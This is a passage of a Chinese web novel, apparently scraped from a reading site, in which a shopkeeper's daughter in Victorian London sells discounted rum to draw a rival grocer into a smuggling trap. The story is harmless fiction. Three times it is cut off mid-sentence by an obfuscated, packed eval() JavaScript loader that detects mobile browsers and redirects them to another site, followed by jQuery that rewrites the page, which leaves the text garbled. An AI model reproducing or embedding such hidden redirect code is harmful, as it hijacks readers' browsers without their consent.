十几年过去，如今已经从小职员升为小组长，每个月的月薪是七英镑，这个数字对于普通人来说，已经足够养家糊口了。 所以，瑞茜并没有做全职工作，而是选择了做二房东。 她家租赁了一整栋稍微宽敞一点的屋子，自己家只住了第一层。 又把楼上两层和阁楼转租出去，租给需要短期落脚的人，卡姆登那边流动人口很多。 顺便靠照顾租客的生活起居来赚服务费，顺便照顾两个孩子，收入与全职工作也差不多。 黛莉觉得，她算是一个十分勤快又聪明的女人，有一定的商业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16459814|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头脑，且能算明白账。 黛莉将视线移到旁边，从她身边经过的，那个带着灰色八角帽的活泼男孩，他叫皮特.安珀，今年十三岁。 他姐姐爱玛比他要大两岁，爱玛.安珀只比黛莉小几个月。 爱玛同样也在卡姆登附近的女校上课，只不过这女校只教欧洲大陆的几种小语种，没有其他课程。 就业方面，可以去做各种私人公司或公共单位的翻译助手，也可以去经常接待外宾的场所工作。 爱玛外面穿着一件半旧的绿色毛呢长外套，头上戴着一顶船型软帽，长相很漂亮，头发也微微发红，性格外向。 黛莉很自然地与爱玛一起回到了厨房里倒腾座椅。 她们添了几只凳子，凑出来几套餐具摆上。 皮特有些顽皮不肯在桌边坐，他对纳什家厨房后门外的水沟很感兴趣。 衣食无忧的小孩在他这个年龄都这样。 爱玛当场便大声呵斥他，拧着他的耳朵揪了进来。 黛莉看的很是惊心，看来这位表妹也是武德充沛啊。 皮特顿时像是霜打的茄子，老实巴交地坐好了，佩妮也跟着老实了起来，真可谓是一物降一物。 纳什先生和弗莱德上楼陪着瑞茜去看丽莎了。 玛丽回到厨房里，片刻时间就多做出来两个菜，又去拿了一瓶以前没卖完的杜松子酒，捏了几只旧酒杯来倒上。 爱玛将她带来的纸盒一一打开，不只是有马卡龙，还有裹着覆盆子酱的海绵蛋糕。 这玩意儿可是不便宜，得几个先令一磅。 黛莉仔细研究了一会儿，它这海绵蛋糕上还蘸了一层糖水再刷的果酱，实在是太甜了。 “他们喝酒，我们就喝茶吧，是新做的花茶，有玫瑰味和桂花味，你喝什么？” 爱玛想了想，不太清楚这有什么区别，不过她喜欢玫瑰花。 “就玫瑰的吧。” 不一会儿，众人就重新回到厨房里挨着坐下。 一桌子佳肴美味，吃的喝的，甜品与正餐都没规矩地堆在一起。 瑞茜能感觉到娘家似乎与往常不太一样了，不光是这屋子里的环境，更有一种别样的感觉。 她说不上来，只在玛丽的盛情下往盘子里分了一堆的菜。 瑞茜先尝了尝肉汤皮冻，她拿铁勺子从晶莹剔透的琥珀色圆柱体上切下来一块，放进舌尖。 凝固的肉汤丝毫腥味都没有，里面的香料和佐料和将碎成渣的肉在口中一抿就化。 “这个味道真不错。” 瑞茜又拿起甜味的面包蘸了蘸果酱，塞进嘴里嚼了两下，顿时满足地眯起眼。 “嗯，这也好吃，这些都是怎么做的啊？” 玛丽将配料和工序简单说了出来，但瑞茜听的云里雾里，她一贯不擅长做饭，但经常做饭卖给住客吃，能根据配方来估摸出成本。 “我认为，这些东西一定能好卖，也一定可以长久的做下去。” 瑞茜对玛丽肯定的说道。 桌上的众人都忙着分餐，黛莉也每种都试了试。 晚餐结束后，瑞茜母子几人依依不舍地准备离开。 玛丽用纸袋将她做出来的试菜每种打包了两三份，鼓鼓囊囊地装在篮子里，硬塞到了瑞茜的手上。 瑞茜推拒不得，只好收下了东西。 弗莱德打着伞出门，去找了一家经营租赁马车的熟人邻居，租车将他们母子三人妥帖的送回去了。 ... 23.三法新 夜晚克拉克街附近的钟楼又响了数次，外面哗哗地下起小雨。 家里，玛丽和黛莉，还有老祖父，一起把聚餐的残局收拾了一遍。 明天早上送新炉子来的人估计会很早。 佩妮还在一旁翻动姑姑给她买的衣裳，黛莉就把她催起来，生拉硬拽的，与佩妮一起端着盆去储物间洗漱了。 这狭窄的房子，现在总算是有了个能转身的地方。 黛莉将煤气灯挂在墙上，兑匀了一盆热水，将毛巾放了进去，又趁热掏出来，敷在脸颊上，稍微驱赶一些寒意，又将全身擦洗一遍。 即便是在这样的条件下，她也依旧督促佩妮使着牙粉和羊毛刷，将牙齿清洁了半晌。 佩妮一开始还不从，黛莉冷不丁地讲述了许多牙医的手段，她也只好服从，认认真真地清洁自己，省的未来疼死在牙医的椅子上。 洗漱完毕后，她们顺着狭窄的梯子上爬上阁楼。 佩妮很快就钻去睡了，黛莉又开始坐在窗后，翻开崭新的一叠白纸，开始写起了新的传单。 清晨，是个难得晴朗的天气，不过多罗斯街坑坑洼洼的路面积水还没干燥。 洛比特杂货店门口，乔治用两桶清水泼去了台阶上的煤灰。 他刚干完了活儿，就听见背后楼梯上雇主的脚步声。 乔治心里纳了闷，为什么洛比特先生今天起的那么早？ 他似乎还心情很不错，一路哼着小曲子，也不来挑他的茬儿。 洛比特先生径直走向了他家店里刚弄出来的三法新货品区，随意抽出一包碎茶，抖出来倒在杯子里泡了。 他一边喝茶，一边端着杯子走到了大门口，在这个位置可以看清整条多罗斯街。 没一会儿，他就瞥见了纳什家的两父子。 他们父子二人正在给咖啡店送奶，弗莱德拎着桶子往店里走，门口老纳什守着车子。 洛比特注意观察着，并未从老头子的脸上看见什么负面情绪。 反而，这老头的胳膊底下还夹了一大叠传单，正在挨家挨户的散。 洛比特感到有些迷惑。 他走出门去，探着头把目光移到克拉克街内部。 巷子里的人不少，在纳什杂货店里进进出出，刚好几个女工抱着一大袋面包和零碎的食物走出巷子口，馥郁的面包香气顿时弥漫开。 洛比特深深地蹙眉，狠狠地啐了一口，又叫乔治去弄一张传单来看看。 纳什杂货店，雨后清晨的晴朗日光一缕缕地透过窄巷洒进门廊下，雨下了两天，东区的空气难得干净这么一会儿。 微风吹动大门下悬着的铜铃，一股浓郁的面包香味随着微风飘动，从厨房里冒出来，弥漫到了整个巷子。 炉子天刚亮就送了过来，不需要安装，直接就能点火使用。 清晨的第一炉面包，两种口味共计三十磅，刚刚做好时就被客人抢购一空。 黛莉起床后吃到的都是第二炉。 昨天晚上，玛丽十分克制地熬制了两锅肉汤布丁，分装进了四十只沸水消毒过的罐头里。 今天一早，这些分好分量的布丁就被邻居们买空了。 黛莉根本没捞着吃一口，随便洗了把脸，揉揉眼睛就开始站在柜台后收钱，不停地帮客人把布丁倒扣进盘子里。 所有的邻居都是自带餐具，不要瓶子。 将这些空罐子扔进木桶里泡着，玛丽打算吃完饭再刷，水煮消毒，下午还能再做出来一批。 忙完了早上的第一波客流，她们才松散下来，开始在厨房吃自己的早餐。 黛莉手里拿着一块刮了黄油复烤过，十分酥脆的葡萄干面包，她又抹了一层果酱，往里夹了煎蛋，再盖一层面包片。 一口下去，她心里也算出了今早光这些熟食的收入，一共是二百零五个便士。 如果估计的没错，今天天气好，早上营业额就这么多了，恐怕又能突破全天赚一千便士的关卡。 黛莉计划的目标是往后每天都保持着这个数字，预计一周就可以赚上十镑的利润。 要是一切按照她的计划，下一步，就该正式收编，让纳什老头和弗莱德给她打工了。 他们二人虽然不擅长做饭也不擅长管店，但是对伦敦和白教堂大大小小的地方都很熟悉。 让他们去发传单，配送大订单是最合适了。 况且，弗莱德这个爹虽然性格很平和，但看起来块头不小，嫌少有人敢赖他的账，祖父更是个狡猾人。 黛莉一边想，一边吃过早餐，她仰头一口将牛奶抿进了肚子里。 屋外头，弗莱德与纳什先生便照昨日商量的那样，回到了家中。 今天上午，轮到了纳什先生来看店，弗莱德与黛莉出门去一趟。 玛丽将面包端给他们，叮嘱弗莱德去白教堂路时，帮她带一筐洋葱回来。 她只认为，今天黛莉和她爸爸出门去，只是为了给监督员买点礼物好在交卫生费时打点打点。 黛莉起身，拿着手帕擦了擦嘴。 “嗯，我们记下了，还有什么佐料需要买的？” 玛丽手中又从宽敞的烤箱中端出来一盘咖啡味的饼干，一盘钻石曲奇，说道： “再买点杏仁吧。” 黛莉点头答应，便去墙边取下披肩套好，又戴上帽子，这才与老爹一起走了出去。 ... 白教堂路，黛莉与弗莱德在二手厨具店对面的意大利小餐厅里坐了一会儿。 黛莉观察了一会儿，更加确定这里的人在做什么。 喝完一杯咖啡，公共马车也靠近了固定站点。 他们从店里走出来，顺利坐上了车，一路朝着西区牛津街去。 上午，金融城很安静，街道上的马车都慢悠悠的，各个公司的职员们都在办公室里。 马车穿过在黛莉眼中班味较浓的金融城继续往西去。 从考文特花园到牛津街，这一带的剧院现在都还在休息。 一般戏剧都是下午三四点开场。 要看戏剧的人，通常睡到上午十点起床，吃顿丰富的早午餐，到下午两三点时会在剧院附近找个餐厅吃午茶。 下午看完了戏剧，傍晚去泡俱乐部，深夜再转场合，去参加各色私人宴会和沙龙，直到深夜，还有舞会可以消食。 现在清晨，这个时间段，会出现在西区的人都是衣着朴素的，无一例外。 黛莉和弗莱德在牛津圆环下了车，往牛津街走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16465371|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赫尔康萨酒水商店，深红色烤漆中镶嵌黄铜金属字，门脸装饰地极为工整，但又不算太张扬。 木格窗将一块块通透的玻璃框起来，拼凑成了偌大的橱窗。 橱窗内挂着层层叠叠的法兰绒布帘，现在帘子已经拉开了。 可以看见橱窗里头，胡桃木酒柜打磨地一丝木茬也没有，上面整齐地排列着各类酒水的展示品。 从名贵到中档，还有很多平价酒水，全部都是进口产品。 透过货架，可以看见酒水商店里着装统一的职员们，正在拿着鸡毛掸子清理货柜。 而结账台后面，站着一个还算年轻的老板，他穿着考究地手工外套，却有些百无聊赖地打着哈欠。 门口传来一阵铜铃声，罗伯特才抬起头看向门外。 走进来了一个年轻的打扮朴素的姑娘，店门外守着一个更朴素的中年彪形大汉。 黛莉不紧不慢地走去柜台前，同时打量着这酒水商店里的一切。 这店里大约有三四个全职员工，铺面的装潢，柜子里铺开的货物，以及店铺的面积，都在无形低语着这家店实力雄厚，老板不差钱。 眼前这个老板，一身行头恐怕没有一根线不是从萨维尔街买的，能值过这里一排的酒。 必然不是替人打工，但要说是白手起家，那也不像。 看起来应该是个灵机一动出来创业的富家子。 她从容地走上前，看着这个老板，信口说道： “老板，这里有牙买加朗姆酒吗？” “有。” 罗伯特并不嫌客人穿着朴素，他走出柜台，到了西侧的酒柜，指着边角的一排酒说道。 “这些就是，你可以看看。” 不过，他有些疑惑，难道这人不知道现在黑市正偷偷流通着这种朗姆酒吗？ 价格那么便宜，为什么非要到他店里来买？ 罗伯特想到这批货的事儿，还一脑子官司，虽然本钱银行已经代位赔偿了，但这酒行情已经乱了，未来恐怕再也不好卖了。 黛莉顺着他手指的方向看去，只有一种牙买加朗姆酒，价格为三先令一夸脱。 这在本店已经算是很平价的了，但对于底层大众来说仍属于中档酒。 不是过节或者家庭庆祝日，没有穷人愿意花自己两天的工资来买一大瓶酒。 现在朗姆酒因为气味浓烈，野性十足，被认为上不了大雅之堂。 但却是军需供应品，也很受平民百姓的喜爱。 黛莉事先做过功课，现在英格兰为了保护本地的杜松子和威士忌，对这种殖民地酒水收了很重的关税。 这两先令里起码三分之一是因为关税而涨起来的。 “我可以闻一闻吗？” 她又问。 “当然。” 他随便取出一瓶样酒，打开递给她。 黛莉都没接，闻见这从酒瓶子里冒出来的气味，就知道没跑了。 现在的朗姆酒加工方式很朴素不精准，每个工厂沿用的做法都不一样，所以味道也各具特色。 她上次在二手厨具店里闻见的，就是这种浓烈的热带烂果味，酯感丰富。 黛莉立刻开始与罗伯特讨价还价。 … 24.四法新 谁都知道磨价格是一门漫长的语言艺术，弗莱德十分有耐心。 他老实的按照女儿吩咐，站在酒水商店门外等候，一直注意的透过橱窗看着屋子里面的情况。 他并不知道黛莉说了什么，但可以看清，她似乎与里面的那个酒商唇枪舌战了半晌。 黛莉背对着外面，而那酒商起初皱起眉，听着她说，又一点点的松开了眉头，并且露出了思索的神色。 最后，那酒商点了点头，似乎是松口。 不一会儿，她就去柜台数出一把金币，酒商随即开出了一张票据。 弗莱德见黛莉出来了，替她拉开门，挠了挠头询问道：“怎么样？” 黛莉露出了肯定的神色，她的目光里忍不住流露出罕见的期待感。 “没有任何难度。” 她将票据交给弗莱德查看，单据上面的批发数量是一百支，价格为十镑。 弗莱德知道这种朗姆酒的市场价格，大约是三先令左右。 但黛莉拿到的价格却是两先令一瓶，这似乎已经把酒商能赚的所有利润都给砍下去了。 到底是什么样的话术，能够让批发商放弃自己的利润呢？ 弗莱德跟在黛莉身后行走，莫名对自己的女儿感到有些恐怖。 让人感到庆幸的是，他是黛莉的亲爹，而不是她的竞争对手，否则那真是咸菜都吃不上了。 下一个目的地，他们去了雪茄商店，准备给卫生监督员准备礼品。 临近正午，黛莉和弗莱德带着玛丽需要的食材回到了杂货店内。 纳什先生与弗莱德还有黛莉三人交汇了一个眼神，他们二人便出门去继续送奶了。 黛莉接过了柜台，开始继续接待客人，照顾生意。 厨房里，玛丽收到了杏仁，就钻回厨房里，开始忙着制作杏仁巧克力，这也是用来按照三法新一袋的价格卖的。 接待了一中午的客人，黛莉一边清点营业额，一遍等待。 大约下午三四点的时候，一辆十分干净体面，但没有任何商标刻字的货运马车停了下来。 酒商果然按照她那诡异的要求让人这么送货了。 黛莉走出门去，在马车边上接了几趟，把酒水搬进屋里，堆进了柜台后的空地。 随后，她签完字，马车夫才离开这里。 一百瓶朗姆酒看起来很壮观，但其实并不占地方。 她将原来摆酒的地方清理出来，将朗姆酒放了进去，剩下的搬进了储藏间。 她走出去，将外面的黑板摘下来，回到屋里，捏着粉笔在熟食上面写了一行显眼的大字。 牙买加朗姆酒促销，数量有限，先到先得。 她算准了，一百瓶酒全部折价卖出去，会亏损五英镑。 若是不想亏损并且折价卖，其实也可以捆绑销售。 例如购满三先令的杂货才能得到一先令一瓶酒的购买资格。 但这样恐怕不会让人相信，她这酒的成本远低于一切正规渠道可以获得的价格。 只有做到这个地步，鱼才一定会上钩。 玛丽端着一盘烤好的饼干走出来，瞧见了柜台上的朗姆酒。 她有些疑惑为什么黛莉忽然开始卖酒了，但却没关心，又继续回到厨房去忙碌。 今天烤制的十五磅钻石曲奇和咖啡饼干全都卖空了。 然而，明天又是一个发薪日，傍晚还需要提前准备很多熟食。 至少是五磅钻石曲奇，十磅咖啡味饼干，还要烤五十磅面包，熬煮两锅肉汤布丁，一锅果酱。 玛丽实在是忙的不可开交。 不过，今天的营业额轻松突破了一千便士，明天又只会更多。 傍晚，佩妮回家了，纳什先生和弗莱德也推着车回来，纳什杂货店依旧开着门。 有许多人在傍晚时经过克拉克街，打算来小酒馆消遣消遣。 这些人刚想进入克拉克街，就瞥见了对面纳什杂货店的招牌。 促销的朗姆酒？ 那他们还去什么酒馆。 这些人好奇地踏进纳什杂货店，弗莱德和纳什先生负责招待他们。 这些酒鬼得知朗姆酒的价格竟然低至一先令，二话不说就买了。 而黛莉和佩妮一起在厨房里手工包裹着饼干，一边透过帘子往外瞧。 玛丽还在揉面，有些疑惑地问：“你们是从哪进的那么便宜的朗姆酒？ 黑市吗？会不会不安全啊？” 玛丽麻利地将面团分成剂子，又道： “前段日子出了那案子，现在地下黑市这么隐蔽，你们是怎么找到的卖主？” 黛莉笑着摇头：“巧合碰见的，现在外面的消息乱，风声紧，卖主都着急出手。 我们就这一百瓶，很快就卖完了，也不去再进，不会有事的。” 玛丽闻言，纳闷的点头。 整天呆在家里，不知道什么风声紧不紧的，听黛莉说什么就是什么，又继续捏着面团，往里面揉了一块黄油。 她对黛莉十分信任，既然她都说了，那么就肯定有谱。 小小的杂货店里，一先令一瓶的朗姆酒，很快就销掉了五分之一。 一传十，十传百。 巷子里的邻居，周围的酒馆，几家杂货店，都听说了这个消息。 晚上九点过后，弗莱德出门，搭着梯子将挂在屋檐下的煤气灯摘下来，又取下了挂在门外的黑板。 随后，他将窗板全都封好，又把家门严丝合缝的关上，一副已经关门歇业的模样。 紧随其后，洛比特先生戴着一顶漆黑的小毡帽从巷尾冒了出来。 他左右四顾，经过纳什杂货店，盯了几眼窗缝里冒出的光线，沉着脸往地下酒馆走去。 地下酒馆正值营业的时间，要到子夜时才会关门。 洛比特扶着栏杆走进地下，一股刺鼻的酒味扑面而来，他嫌弃地往下走了两步，目光在狭小的酒馆里扫视两眼。 今天酒馆里的客人不多，南森正在吧台后擦玻璃杯。 洛比特径直往吧台走去，南森抬头，对他的出现一点也不意外。 “洛比特先生，真是稀客啊，您想喝点什么？朗姆酒吗？” 洛比特啧了一声：“别取笑，对面那是怎么回事？她家怎么忽然搞到了这个酒？” 南森的老板不在，他慢悠悠地擦着玻璃杯，说道：“我怎么能知道？” “那朗姆酒怎么流出来的，大家都知道，之前就很紧俏，现在交易恐怕更隐蔽了。” 洛比特想了想，从口袋里掏出几个先令塞给南森。 “别以为我不知道，你们家酒馆之前就卖过这种朗姆酒，也是私货，对吧？” 南森收下了钱，嘴角扬起来，点了头，但又提醒他： “是又怎么样，你知道我们为什么不卖了吗？ 当初那些警察，去纳什家问丽莎查案子的线索，提起过外面走私的事。 现在再卖这酒，风险实在太大了，我劝你还是别眼馋。” 洛比特听了，还真思索起来，他沉默了一会儿，又摇头说道： “这悬案复杂的很，牵涉那么多官司，有哪个警察能查的清楚？ 他们要是有这本事，白教堂就不会有黑市了。 纳什家与警察打过交道，说不定他们就是知道警察不会往下查，所以才这么说忽悠你，现在他们反而干起来这勾当了。” “我知道有风险，但我不能不知道这酒是从哪搞到的，你就告诉我，剩下的事我自有分寸。” 洛比特话都这么说了，南森只好取出便签条，递给他。 “整个白教堂，这批货就只有一个源头。” 洛比特接过来一瞧，上面赫然写着“德尔塔厨具店” … 第二天，天气阴沉，纳什杂货店从刚开门时就开始排起长龙。 全都是裹着外套睡眼惺忪，准备买东西当早餐吃，顺便来瞧瞧朗姆酒的客人。 佩妮放假在家， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16469690|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛莉抓着她早早地起床，洗漱完，随便对付了两口，就开始在柜台后忙碌。 佩妮负责从厨房端面包出来，又帮客人打牛奶，黛莉则负责推销和结账，厨房里玛丽负责加工熟食。 她们忙的不可开交，一早上接待了至少几十位客人。 早高峰过去，上午到中午这段时间，为了朗姆酒而来的散客也不少。 与此同时，纳什先生和弗莱德顺着多罗斯街慢慢送奶。 他们肉眼便能轻松的观察出来，整个多罗斯街的杂货店和酒馆，今天全部门可罗雀，只有零散过路人光顾。 附近所有的小街巷的住户，全都在他家门外。 直到中午饭点，才渐渐的不用排队了。 中午时间，纳什先生与弗莱德回到店里帮忙。 黛莉抱着一抽屉零钱便士，钻进帘子里，往厨房去数钱了。 昨天的销售额是一千零九便士，约四镑四先令。 今天一早到中午，接待了足足一二百人，朗姆酒早就被抢购一空。 几乎吸引了附近的所有居民去抢购，有些人甚至为了最后一瓶酒不惜打起来。 直到关门前，依旧有一群人上门来询问。 只要人登门，即便没有他们想要的商品，黛莉也不会让人空着手走。 在她的精准操控下，营业额高达十二英镑出头，扣除酒水的固定亏损，一切都在她的预计范围。 夜晚的克拉克巷子，乔治戴着八角帽，从街中间蹿过，回到了洛比特杂货店。 洛比特再也坐不住了。 他立刻从柜台后起身，走到大门口，恶狠狠地将乔治拎进屋里盘问。 “找到货了？” “找到了，不过他们不肯透露任何其他买家的消息，我们还要不要买？” “价格怎么样？” “六便士一瓶，库存还有很多。” 乔治说罢，洛比特便在屋内来回转圈，似乎是想到了今天还空荡荡的收银柜，他还是下定了决心。 “撑死胆大的，饿死胆小的，他们敢做，我也做得。” 在此地经营了那么些年的杂货店，洛比特认为自己也不是头一次碰到这样的事情了。 乔治在一旁不敢言语，更不敢劝说。 他看老板如今恐怕已经癫狂了，一心只想着跟这纳什家斗，显然失去了理智，这样冒险的事情都敢做。 不过，身为一个打工的，乔治认为自己实在犯不着劝说眼前这头吝啬的老倔驴。 他点了点头：“卖家说，现在只能早晨闹市时交易，您可以明早亲自去一趟。” … 深夜，纳什家的阁楼上，黛莉手中握着一片纸，她站在窗后，伸手拉开了发黄的蕾丝布帘，抬头看向外面。 漆黑一片的暗夜，星空完全被厚重的云层遮挡。 黑漆漆的巷子里，唯有几户邻居还开着煤气灯，散发出微弱的亮光。 佩妮趴在床上酣睡，一脸地恬静与舒适，时不时踢一踢被子。 黛莉依旧站在窗后，手中的纸筒有一搭没一搭的在桌上轻轻磕动。 她的眼眸微微垂下，脑海里在搜寻一些古早的记忆，关于这个世界的原著设定。 在原著中，这个时期的英格兰正存在众多相互矛盾的群体。 若她从上往下捋，便是地缘，党派，族裔，阶级，无论何地都是如此纠结，互相排斥，充满对立。 原著中的一切犯罪也在这种天然适宜的土壤上滋生。 提单诈骗案，一重牵扯着官司，谋杀，地下黑市的复杂案件。 多数新闻的重点描绘在杀人凶手的残忍手段，以及定责纠纷官司的多重博弈。 甚至有人把案件的凶手形容为一个福尼兄弟会成员。 似乎都没有人关注这件事情的根源。 那个生意遭受打击的食品商人，和他委托航运公司运载进港口的一批进口食品。 里面真的只有食品吗？ …